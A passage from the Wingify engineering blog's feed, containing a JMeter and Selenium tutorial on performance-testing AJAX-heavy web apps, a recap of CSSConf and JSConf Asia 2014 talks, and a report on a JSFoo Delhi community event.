href="#dependencies" aria-label="dependencies permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dependencies</h3> Coming to second part i.e. Dependencies. Now this could be broadly classified by 2 groups: <ol> <li>Client-side testing</li> <li>Server-side (API level) testing</li> </ol> Most of the people focus on testing their servers and APIs. But server-side testing is not enough these days, as its hard to find applications which do not use Javascript/Ajax today. In single-page apps, the performance equally depends on both the client-side and the server-side. Since single-page apps are Javascript/Ajax enabled, measuring performance from server/API level is not enough. Even poorly written javascript code can majorly affect the performance of the app. Client-side performance testing can also be done using popular tools like <a href="https://developers.google.com/speed/pagespeed/">Google Page Speed</a> or <a href="http://webpagetest.org">Webpagetest.org</a>. But they cannot test different modules of the application separately. They'd just test the URLs you enter. To test different sections of your application, we can follow a different approach. In this blog post, I’m going to show you how to use the most popular open-source tool (JMeter)[http://jmeter.apache.org/] to performance test AJAX-enabled websites. <h2 id="challenges" style="position:relative;"><a href="#challenges" aria-label="challenges permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Challenges</h2> A well-known limitation of JMeter is that it isn't a browser i.e its inability to execute Javascript. This and that when JMeter makes a request to a page, AJAX calls are not automatically executed. JMeter does store Javascript requests when recorded but this is done as individual sampler. Now to overcome this challenge we have a few options we can work on: <ol> <li>Use WebDriver Sampler to measure the response time in a real time browser. Combining this with JMeter load test, we can measure the real time user experience when we apply severe load.</li> <li>Use JUnit Sampler to create selenium scripts using tools like Eclipse. Using this approach one can export JAR fie to JMeter and run the test in browser.</li> <li>Simulate an Ajax request using JSR223 sampler.</li> </ol> Lets talk in further detail about these methods to performance test. <h3 id="using-jmeter-webdriver-sampler-with-selenium" style="position:relative;"><a href="#using-jmeter-webdriver-sampler-with-selenium" aria-label="using jmeter webdriver sampler with selenium permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Using JMeter WebDriver Sampler with Selenium</h3> Web Driver Sampler automates the execution and collection of Performance metrics on the Browser (client-side). You can download this plugin from the link shared below. A large part of performance testing, up to this point, has been on the server side of things. However, with the advancement of technology, HTML5, JS and CSS improvements, more and more logic and behaviour have been pushed down to the client. This adds to the overall perceived performance of website/webapp, but this metric is not available in JMeter. Simply add the following to your test plan: <ol> <li>Firefox Driver Config</li> <li>Web Driver Sampler</li> <li>View Results Table</li> </ol> <img src="/images/2015/01/01.png"> Now add the following JavaScript code in WebDriver Sampler <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">WDS.sampleResult.sampleStart(); WDS.browser.get('http://wingify.com'); WDS.sampleResult.sampleEnd();</code></pre></div> The only problem with approach is that the automation capability is limited. But again that depends on the application. For more info, visit <a href="http://jmeter-plugins.org/wiki/WebDriverTutorial/">http://jmeter-plugins.org/wiki/WebDriverTutorial/</a> <h3 id="using-junit-sampler" style="position:relative;"><a href="#using-junit-sampler" aria-label="using junit sampler permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Using JUnit Sampler</h3> Using this method all we need to do is create a JAR file using Eclipse and export it to JMeter. Creating JAR using Eclipse <ol> <li>Create a JUnit Test case in your project.</li> <li>Write the following selenium code to open your homepage.</li> </ol> <div class="gatsby-highlight" data-language="java"><pre class="language-java"><code class="language-java">package wing; import static org.junit.Assert.*; import java.net.MalformedURLException; import java.net.URL; import org.junit.Test; import org.openqa.selenium.WebDriver; import org.openqa.selenium.remote.DesiredCapabilities; import org.openqa.selenium.remote.RemoteWebDriver; public class home { @Test public void test() throws MalformedURLException { WebDriver driver2 = new RemoteWebDriver(new URL("http://22.222.122.22:4444/wd/hub"),DesiredCapabilities.firefox()); driver2.get("http://wingify.com"); System.out.println(driver2.getTitle()); driver2.quit(); } }</code></pre></div> Note: In the above code we are using RemoteWebDriver to open the browser on a different machine since we will integrate our test with jenkins. Once this is done you just need to export the JUnit test case to JMeter. Just copy the JAR file into JMeter/extras/JUnit folder and restart JMeter. After this just click on "Search for JUnit 4 annotations" in case you created a JUnit 4 test case and you ll find the JAR file with class name in drop down. <img src="/images/2015/01/02.png"> <h3 id="simulate-an-ajax-request-using-jsr223-sampler" style="position:relative;"><a href="#simulate-an-ajax-request-using-jsr223-sampler" aria-label="simulate an ajax request using jsr223 sampler permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Simulate an Ajax request using JSR223 sampler</h3> Normally this method is not recommended. But if above solutions don't work well with your system you can go for Beanshell and use any scripting language like groovy to create Ajax request. <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> Below are some points to keep in mind while creating performance test plan: <ol> <li>Create custom scripts for different use cases and create a threshold for various metrics.</li> <li>You can also use headless browser testing using HtmlUnitDriver or Xvfb depending on your system. This approach would work well if you need to combine these with your load test.</li> <li>You can integrate your tests with Jenkins using the performance plugin. It really helps with reporting and you can simply run it with each new build. In fact, that is also how we do it here at Wingify.</li> <li>Client-Side performance testing is always done using 1 or 2 threads. But if you need to use it with your load test then you can simulate as many threads as you wish to.</li> </ol> There's a lot more exciting stuff you can do to handle Javascript/Ajax enabled applications. This is just a brief summary of the work we do here at <a href="http://wingify.com">Wingify</a>. Hope this helps you get started. There can be many ways you can achieve amazing results. If you have any questions/comments, or create something awesome, we will be more than happy to hear from you. </content:encoded><author>Rahul Jain</author></item><item><title><![CDATA[Wingify at CSSConf / JSConf Asia 2014]]></title><description><![CDATA[Back in November, I, along with some colleagues from Wingify went to Singapore to attend CSSConf and JSConf Asia. A part of DevFest Asia, it…]]></description><link>https://engineering.wingify.com//posts/jsconf-asia-2014/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsconf-asia-2014/</guid><pubDate>Sat, 17 Jan 2015 00:00:00 GMT</pubDate><content:encoded><style> h2 a, h3 a { text-decoration: underline; } </style> Back in November, I, along with some colleagues from <a href="http://wingify.com">Wingify</a> went to Singapore to attend <a href="http://2014.cssconf.asia/">CSSConf</a> and <a href="http://2014.jsconf.asia/">JSConf</a> Asia. A part of <a href="http://2014.devfest.asia/">DevFest Asia</a>, it is the best way to meet and connect with front-end designers and developers in South East Asia. It was the first time CSSConf was happening in Asia, and our own <a href="http://twitter.com/chinchang457">Kushagra Gour</a> had the opportunity to speak at it. He talked about <a href="https://speakerdeck.com/chinchang/10-commandments-for-efficient-css-architecture-cssconf-dot-asia-14">10 Commandments for efficient CSS architecture</a>. The conference venue was Hotel Amara Sanctuary, on the island of Sentosa, Singapore. <h2 id="cssconf" style="position:relative;"><a href="#cssconf" aria-label="cssconf permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>CSSConf</h2> The day began with boarding the MRT and the Sentosa Express to get to the venue, and meanwhile being mesmerized by the marvelous Singaporean skyscrapers. A sip of coffee at the <a href="http://www.jimmymonkey.com/">Jimmy Monkey Cafe</a> made our eyes open wide, and began <a href="https://twitter.com/serrynaimo">Thomas</a>' introduction to Asia's first CSSConf. It is commendable for a small bunch of people to organize conferences for the community at such large scale, working part time. The quality of the talks at the conference was way above our expectations for a first-time event. The speakers and the topics they spoke about were pretty interesting. Below are the talks that I found really intriguing, and I recommend everyone to go through the videos and slides for them: <h3 id="no-more-tools-by-karolina-szczur" style="position:relative;"><a href="#no-more-tools-by-karolina-szczur" aria-label="no more tools by karolina szczur permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=_UKrEfkiNZE">No More Tools</a> by <a href="https://twitter.com/fox">Karolina Szczur</a></h3> Her talk made an interesting point: with all the rapid development happening in the front-end realm, we're making use of tools more than ever, which when mixed with biases and preferences, do more harm than good. She explained what puts apart good tools from the bad ones, and the telltale signs of a tool doing more harm than good. <h3 id="build-scalable-automated-css-both-you-and-your-back-end-coders-can-love-by-christian-lilley" style="position:relative;"><a href="#build-scalable-automated-css-both-you-and-your-back-end-coders-can-love-by-christian-lilley" aria-label="build scalable automated css both you and your back end coders can love by christian lilley permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=Tk_0qYEFtAY">Build Scalable, Automated CSS Both You and Your ’Back-End’ Coders Can Love</a> by <a href="https://twitter.com/xmlilley">Christian Lilley</a></h3> As front-end developers, we have been conditioned to live and breathe CSS, both good and bad parts, beckoning a love-hate relationship with it. But it is rather cumbersome for someone new coming in ease into the concept of cascading style sheets, and that coupled with misused practices makes people think of CSS as some sort of dark magic. Christian's talk separates the good parts from the bad ones, and points the listeners into a direction everyone can take to make CSS a language everyone can love. <h3 id="inside-the-airbnb-brand-evolution-by-fiona-tey" style="position:relative;"><a href="#inside-the-airbnb-brand-evolution-by-fiona-tey" aria-label="inside the airbnb brand evolution by fiona tey permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://speakerdeck.com/fionatay/inside-the-airbnb-brand-evolution">Inside the AirBnB brand evolution</a> by <a href="https://twitter.com/MsFionaTay">Fiona Tey</a></h3> AirBnB's product is so simple, yet efficient to use, especially their mobile app that it makes you feel a sense of satisfaction competing products or even luxurious hotels couldn't match. Booking for a stay with the locals via AirBnB has always been exciting inspiring for me. And today it was a fortunate time to see the face behind such great product design. <h3 id="what-are-we-doing-anyway-by-ben-schwartz" style="position:relative;"><a href="#what-are-we-doing-anyway-by-ben-schwartz" aria-label="what are we doing anyway by ben schwartz permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="#">What are we doing, anyway?</a> by <a href="https://twitter.com/benschwarz">Ben Schwartz</a></h3> If you're like me, perhaps you ask yourself this question as the sun rises each morning. Recall a time when that wasn't really the question? Ben's talk took the listeners on a nostalgic ride to the years of hacking around and creating things from the past. Recall spending nights working on creating things as the first ray of sun hits the window, the pride of showing around your project in your peer group, hours upon hours of creative brainstorming to build something exciting? Ben extracts out the secret sauce for that feeling of happiness that stems from creating something and how to hold on to it to keep treading that road. <img src="/images/2015/01/ben.jpg"> Words of Wisdom <h2 id="jsconf" style="position:relative;"><a href="#jsconf" aria-label="jsconf permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JSConf</h2> JSConf had multitude of interesting talks. Below are the ones I found rather inspiring to attend: <h3 id="bad-form-by-chris-lienert" style="position:relative;"><a href="#bad-form-by-chris-lienert" aria-label="bad form by chris lienert permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=G7PBTOdAqrU">Bad Form</a> by <a href="https://twitter.com/cliener">Chris Lienert</a></h3> "Your password must contain an uppercase and a lowercase letter, a number, a dinosaur's name and your grandmother's maiden name": do sights of such messages make you cringe? Or perhaps you recall the frustration of filling out a large form and you missed out checking those terms and conditions and the page complains by asking you to fill everything over again? If you do, this talk will let you share your frustrations and learn about what you as a developer can do to create better forms for a better web. <h3 id="fun-with-javascript-and-sensors-by-jan-jongboom" style="position:relative;"><a href="#fun-with-javascript-and-sensors-by-jan-jongboom" aria-label="fun with javascript and sensors by jan jongboom permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=u6twcglDFNc">Fun with JavaScript and Sensors</a> by <a href="https://twitter.com/janjongboom">Jan Jongboom</a></h3> In terms of what JavaScript can do on the browser and on mobile devices, Firefox OS is the best example of openness and accessibility to the lower language features. Jan, in his talk introduces several sensor APIs, primarily for Firefox OS that you could make use of to create your next big innovative app or game. Perhaps you could even mix and match the data from various sensors, or perhaps from a set of devices put together to create something awesome! <h3 id="translation-workflow-and-formatting-complex-translations-by-tingan-ho" style="position:relative;"><a href="#translation-workflow-and-formatting-complex-translations-by-tingan-ho" aria-label="translation workflow and formatting complex translations by tingan ho permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=4ZXagCR9urg">Translation Workflow and Formatting Complex Translations</a> by <a href="https://twitter.com/tingan87">Tingan Ho</a></h3> Tingan goes about solving the problem of i18n and l10n by introducing concepts like CLDR, pluralization, and ICU’s message formats. He also publishes his localization module <a href="http://l10ns.org">l10ns</a> at the end of his talk. If you're planning to translate your app into multiple languages, especially east-Asian ones, this is a must see talk. <h3 id="webtorrent-by-feross-aboukhadijeh" style="position:relative;"><a href="#webtorrent-by-feross-aboukhadijeh" aria-label="webtorrent by feross aboukhadijeh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=kxHRATfvnlw">WebTorrent</a> by <a href="https://twitter.com/feross">Feross Aboukhadijeh</a></h3> BitTorrent is a great protocol to share data between users across the world. Feross introduces the underlying functionality of BitTorrent and the advantages of a distributed network when compared to a centralized one. He also highlights certain shortcomings of the protocol that are centralized, like torrent files and tracker servers, and how we could solve these problems. Finally he describes WebTorrent, a project that makes use of WebRTC and special "hybrid clients" to connect to the BitTorrent network. <h3 id="gibbering-at-algoraves---js-in-live-audiovisual-performances-by-charlie-roberts" style="position:relative;"><a href="#gibbering-at-algoraves---js-in-live-audiovisual-performances-by-charlie-roberts" aria-label="gibbering at algoraves js in live audiovisual performances by charlie roberts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.youtube.com/watch?v=2BIOINFSbMg">Gibbering at Algoraves - JS in Live Audiovisual Performances</a> by <a href="http://gibber.mat.ucsb.edu/">Charlie Roberts</a></h3> Possess certain skills like the ability to play music and you have the chance to perform it live in front of an audience. But writing code, especially JavaScript isn't that way. That's what we thought before this talk. Charlie introduces <a href="http://gibber.mat.ucsb.edu/">Gibber</a>, a creative coding environment that lets you create music and visuals on the fly. Be ready for a trippy ride of a JavaScript live coding performance towards the end of the talk! It might seem like I've described every talk at both the events, but the truth is that the quality of the talks was so impressive that it is hard to not praise the speakers for the efforts they have put in to prepare a stellar presentation. Looking forward to the next installment of DevFest Asia in 2015!</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[JSFoo Delhi Run-up Event @ Wingify]]></title><description><![CDATA[Last week, we announced that Wingify would be sponsoring the JSFoo 2014 conference in Bangalore. We have always been looking out for…]]></description><link>https://engineering.wingify.com//posts/jsfoo-run-up-event-details/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jsfoo-run-up-event-details/</guid><pubDate>Mon, 08 Sep 2014 00:00:00 GMT</pubDate><content:encoded>Last week, we announced that Wingify would be sponsoring the <a href="http://engineering.wingify.com/posts/jsfoo-run-up-event/">JSFoo 2014</a> conference in Bangalore. We have always been looking out for opportunities to give back to the community, and what could have been better than hosting a run-up event for JSFoo in Delhi. We got in touch with HasGeek and expressed interest in hosting the Delhi run-up event. They were more than happy to let us do so. Since it was the first time we hosted such a big event, we were both excited and nervous. We had started preparing for the event about a month in advance. To market the event, we spread out information about the event on meetup groups we were connected with, and also created a <a href="https://www.facebook.com/events/1464410987176966/">Facebook event</a> for it. In total, we received about 100-120 signups for the event. Of all the signups, we expected about one-third of them to actually turn up for the event, for whom we started to arrange for food and logistics. What’s exciting is that more than 50 external guests from 30 different companies and colleges showed up. We were really humbled with such great turnout and would like to thank each one of you who joined us for the event. The event started on time (10:30am) with <a href="https://twitter.com/suchitpuri">Suchit Puri</a> taking the stage. He welcomed us to the event and introduced the first speaker <a href="https://github.com/rudimk">Rudi M.K.</a>, who was about to speak on “A new approach to scientific computing using JavaScript“. He talked about the possibilities of using JavaScript for mathematical and scientific computing. He had a few examples of using JavaScript on the server side for complex mathematical computation. It was really enlightening to see so many libraries coming up in support of scientific computing in the JavaScript ecosystem. <div style="text-align:center; margin: 10px;"> <img src="/images/2014/09/0.jpg"> <div style="margin: 10px;"> Rudi speaking on “A new approach to scientific computing using JavaScript” </div> </div> Next was the workshop on “Learning JS concepts/techniques by implementing jQuery” from our very own <a href="https://github.com/chinchang">Kushagra Gour</a> . He had created a very interesting web based system specially for this workshop which he called “Prayas”. It allows the organizer to set JavaScript test cases and the participants to enter the JavaScript code which is evaluated against these test cases. It also has a very good UI which updates in real time giving you a good idea of how many of the participants have submitted in the code correctly.This made the workshop really interactive wherein the participants implemented some basic jquery methods in javascript. <div style="text-align:center; margin: 10px;"> <img src="/images/2014/09/1.jpg"> <div style="margin: 10px;"> Kushagra Gour taking workshop on “Learning JS concepts/techniques by implementing jQuery” with his awesome "Prayas" system on screen </div> </div> The workshop was followed by lunch after which we had <a href="https://twitter.com/shwetank">Shwetank Dixit</a> talking on “Understanding WebRTC: A Whirlwind Tour”. Shwetank introduced WebRTC and then went in-depth on the topic, explaining how the technology works and how are different network related problems addressed. He also showed some really cool WebRTC demos. <a href="https://appear.in/">Appear.in</a> was one of them. We hope that attendees would have gone back and tried WebRTC. <div style="text-align:center; margin: 10px;"> <img src="/images/2014/09/2.jpg"> <div style="margin: 10px;"> Shwetank giving demo of WebRTC </div> </div> Next was our very own <a href="https://github.com/fleon/">Himanshu Kapoor</a> talking on “Managing API Resources and Their Relationships on the Front-end“. This was indeed a very interesting talk wherein Himanshu talked about how we handle RESTFul resources on the front-end. The talk was primarily about our learnings of maintaining API resources and their relationships with using our internal project called ResourceManager for AngularJS (soon to be open sourced). The last talk of the day was presented by Ankit Rastogi on “Ten Useful JavaScript Tips &#x26; Best Practices”. It was a very interesting interactive presentation on JavaScript optimizations tips and tricks. The presentation had a lot of questions which asked the audience to find whats wrong with the code, this made everyone really interested in the presentation. Everyone was really amazed by how implementing very simple things you can get many folds of processing/speed improvement in your code. The day ended on a high note with everyone really appreciating the speakers and the organizers for all the hard work everyone put in. There were a lot of discussion after the event on organizing more such events for different communities in Delhi NCR region. Wingify as a company believes in engaging and giving back to the community and we would be more than happy to host more such events in future. If you feel that there is any technology related community which needs a place to host the event, please write to us at <a href="mailto:engineering+community@wingify.com">engineering+community@wingify.com</a>. <h2 id="presentation-slides-from-the-event" style="position:relative;"><a href="#presentation-slides-from-the-event" aria-label="presentation slides from the event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 